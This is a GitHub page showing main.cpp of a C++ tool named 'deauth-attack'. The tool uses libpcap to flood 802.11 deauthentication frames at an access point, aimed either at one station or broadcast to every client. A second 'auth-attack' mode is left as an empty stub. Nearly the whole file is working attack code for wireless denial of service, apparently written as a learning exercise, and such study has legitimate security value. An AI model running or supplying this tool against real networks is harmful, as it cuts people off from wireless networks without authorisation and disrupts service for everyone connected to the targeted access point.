-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.cpp
More file actions
85 lines (71 loc) · 1.98 KB
/
main.cpp
File metadata and controls
85 lines (71 loc) · 1.98 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#include <cstdio>
#include <cstring>
#include <cstdlib>
#include <pcap.h>
#include <unistd.h>
#include <stddef.h>
#include "wireless.h"
#include "frame.h"
#define DEAUTH_FRAME_SIZE 38
void usage() {
printf("syntax : deauth-attack <interface> <ap mac> [<station mac>] [-auth]\n");
printf("sample : deauth-attack mon0 00:11:22:33:44:55 66:77:88:99:AA:BB\n");
}
struct Param {
char* interface_;
char* ap_mac_;
char* station_mac_;
bool unicast;
bool auth;
};
Param param { .interface_= NULL, .ap_mac_= NULL, .station_mac_ = NULL, .unicast = false, .auth = false };
bool parse(Param* param, int argc, char* argv[]) {
if (argc < 3)
return false;
param->interface_ = argv[1];
param->ap_mac_ = argv[2];
if (argc >= 4) {
param->unicast = true;
param->station_mac_ = argv[3];
puts("station set");
}
if (argc >= 5 && !strcmp("-auth", argv[4])) {
param->auth = true;
}
return true;
}
int main(int argc, char *argv[])
{
if (!parse(¶m, argc, argv)) {
usage();
return -1;
}
char errbuf[PCAP_ERRBUF_SIZE];
pcap_t* pcap = pcap_open_live(param.interface_, BUFSIZ, 1, 1000, errbuf);
if (pcap == NULL) {
fprintf(stderr, "pcap_open_live(%s) return null - %s\n", param.interface_, errbuf);
return -1;
}
if (param.auth) {
/* To Do */
/* auth-attack does not work */
}
else {
Frame frame;
frame.radio.it_len = 8;
frame.pack_ap(param.ap_mac_);
/* disconnect specific device from AP */
if(param.unicast)
frame.pack_station(param.station_mac_);
/* disconnect all devices from AP (broadcast) */
else
frame.pack_station((char*)"ff:ff:ff:ff:ff:ff");
while (true) {
puts("sending deauth packet ... ");
pcap_sendpacket(pcap, (const u_char*)(&frame), DEAUTH_FRAME_SIZE);
usleep(100);
}
}
pcap_close(pcap);
return 0;
}